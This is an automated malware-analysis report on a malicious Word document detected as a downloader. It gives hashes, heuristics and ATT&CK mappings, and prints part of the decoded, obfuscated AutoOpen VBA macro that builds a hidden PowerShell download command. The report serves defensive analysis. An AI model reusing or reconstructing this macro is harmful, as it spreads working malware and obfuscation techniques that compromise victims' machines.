Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a59571e896830f2c…

MALICIOUS

Office (OLE)

89.5 KB Created: 2018-08-16 23:07:00 Authoring application: Microsoft Office Word First seen: 2018-08-26
MD5: d81bf50d3a2dbb09e0a7492f77c84037 SHA-1: bd74b8e061f8918374cb79bfd6852edac91b7f36 SHA-256: a59571e896830f2c24fd85d0825d98281bf7938f380faeecebb781cad15edcfd
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for 'Doc.Downloader.Valyria-6666907-0', indicating it is a known downloader. The presence of an AutoOpen VBA macro strongly suggests malicious intent. The macro attempts to construct and execute a PowerShell command, likely to download and run a second-stage payload. The reconstructed PowerShell command is 'powershell -e JA2A0A.wA9AG:AZ', and it also attempts to establish persistence via the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6666907-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666907-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13450 bytes
SHA-256: ef15e64ab66201288d44187037aadc179839cf11020464d2f8e8c8aedf7ed44c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JaqUcWRI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   Hour Second(cWRrD)
   Hour Oct(6)
   Error Rnd(PYdErv)
   Error 4
   Hour Second(wvZjA - wuLVp)
VBA.Shell% KeyString(RPKnCkwwviBmY + wiPTssDNPJqFcR + vbKeyC + INMBCjjZmU + ojIqGiFI) + GANBviM + jRMsZMPsRB + iuNCMQvl + jlscLGAJIHs + qfLGODzsKa + wndqTX + VcqsvRtzv + LznisqSI + jDIRz + WoQJNiov + kpBLTuuG + LtMCIBWV + nAlCNHzM + qjdrpoGqUiB, 405745421 - 405745421
   Hour CDate(PdMfaU)
   Error CVar(mRzcs)
   Hour CDate(99347 * ZXmFwp)
End Sub


Attribute VB_Name = "HEXOwmYKVY"
Function iuNCMQvl()
On Error Resume Next
Hour Rnd(QqsLk)
   Hour HwCiQ
   Hour CCur(320744829)
noQhPPPtF = "mD" + "  " + "/V" + ":" + "On" + "   " + " " + "  " + "   " + "   " + " " + " "
Hour Atn(UVZjiV)
   Hour wAwQzz
   Error Log(98)
MTRihwnI = "  " + " /C" + "  " + "  " + " " + CStr(Chr(PjMhYPSWkl + AMAXwEoZzqrIw + 34 + jJswcCvKNBLWY + zaUGKWlqH)) + " " + "  " + "  " + "  " + "SEt" + "  " + "   " + "$"
Hour BiVPW
   Error CStr(AhlBk)
UAKFsqWQ = " " + " " + " " + " =p" + "ow" + "er"
Error 40
   Hour 511833049
   Hour LsloUw
uFOpICBzQ = "sTe" + "ll" + " " + "-" + "e" + " JA" + "B2A" + "G0A" + "." + "w" + "A9A" + "G" + ":AZ"
Error Log(NOqYn)
   Error 90
   Hour CVar(jvqHz)
qtwQEnFWii = "Q" + "B3A" + "C0A" + "bw" + "BiA" + "G" + "o" + "A" + "Z" + "Q"
Error GNmIE
   Hour AzKJsS
EJWDjiMji = "BjA" + "HQ" + "A" + "[A" + "B" + "O" + "AG"
Error Sin(373486435)
   Hour Second(40171 + RKWYo)
   Hour CCur(26)
rplHHow = "U" + "Ad" + "A" + "Au" + "AF" + "cAZ" + "QB" + "iA" + "E"
Hour Atn(HnFBT)
   Hour tvFCW
MtZScqY = "MAb" + "AB" + "pAG" + "UA" + "b" + "1B" + "0AD" + "sAJ" + "AB)" + "A"
Hour AjnwII
   Error 7946
RHDsivhwZF = "H" + "oAS" + "w" + "A9" + "AC"
Error CByte(EuXdb)
   Error DztRBM
AMwUPWuQOT = "c" + "A)" + "A" + "B0" + "AH" + "Q" + "Ac"
Hour 4
   Hour Sgn(164328543)
iQFWHaNT = "AA" + "6A" + "C8" + "A" + "L" + "w" + "B" + "zAG" + "E" + "Ab" + "QBT"
iuNCMQvl = noQhPPPtF + MTRihwnI + UAKFsqWQ + uFOpICBzQ + qtwQEnFWii + EJWDjiMji + rplHHow + MtZScqY + RHDsivhwZF + AMwUPWuQOT + iQFWHaNT
   Hour 405158709
   Error mwAWY
   Hour Log(6134)
End Function
Function jlscLGAJIHs()
On Error Resume Next
Error 198
   Hour KDjGmP
   Hour CVar(3747)
WJhRbDoTv = "AG8" + "Ad" + "AB" + "vA" + "HkA" + ")QB" + "r" + "AGE" + "A"
Hour Second(8)
   Error KTRAUz
qCzlGSC = "bQB" + "TAC" + ":" + "AYw" + "BvA"
Hour 6
   Hour 5
   Hour Log(oMQDX)
mKnQFKcE = "G0A" + "Lw" + "B" + "0" + "AE" + "AA)" + "A" + "B" + "0A"
Hour Round(iiVDWR)
   Error CByte(VYVoqh + ZDmuzX)
   Error CCur(MPruu * LquIi - mzdKn * zQKaz)
bzwtvs = "H" + "QA" + "c" + "A" + "A" + "6A" + "C8" + "ALw"
Error 375
   Hour CBool(mVBvkU * BJYwnz)
   Hour CDate(zpoRph)
wbupJGL = "BkA" + "GU" + "AbA" + "Bs" + "A" + "H" + "kAZ" + "QB0" + "A" + "G" + "sA)" + "Q" + "Bs"
Hour LCase(TPMlS * lJjqo - 98636 + NYlnF)
   Hour 9307
ViRuWWiKwd = "AG" + "kA" + "cwB" + "l" + "A" + "H[" + "A" + "d1B"
jlscLGAJIHs = WJhRbDoTv + qCzlGSC + mKnQFKcE + bzwtvs + wbupJGL + ViRuWWiKwd
   Error QqiSA
   Error Hex(9117 * YOaHzr)
End Function
Function qfLGODzsKa()
On Error Resume Next
Hour vCqVB
   Error TypeName(9324)
LQzGzzGSh = "pA" + "HMA" + "L1" + "Bj" + "AG8" + "Ab" + "QAv" + "AG" + "UAS" + "wA3"
Hour 232358572
   Hour Hex(35451 + tEtwwQ - aqwKL - tOiZz)
FcWRhv = "A" + "EA" + "A)A" + "B0A" + "HQ" + "AcA" + "A6" + "AC8" + "AL" + "w" + "B"
Hour CBool(GapYw / LRsNFa)
   Error wPAQzO
   Error Str(NusIbq)
wjiuC = "@A" + "HUA" + "cw" + "BpA" + "GMA" + "YQ" + "B" + "sA"
Error Log(wCTrk)
   Error NPuHdw
OMzWPKGj = "GMA" + ")AB" + "v" + "AH" + "[" + "Ad" + "QBz"
Error CDate(2736)
   Hour Str(9)
jYzabEwWW = "AC" + ":AY" + "w" + "Bv" + "AG0"
Error 289902822
   Hour CByte(287)
OTZOjO = "A" + "L" + "1" + "Bi" + "AH" + "[A" + "LwA" + "2AE
... (truncated)

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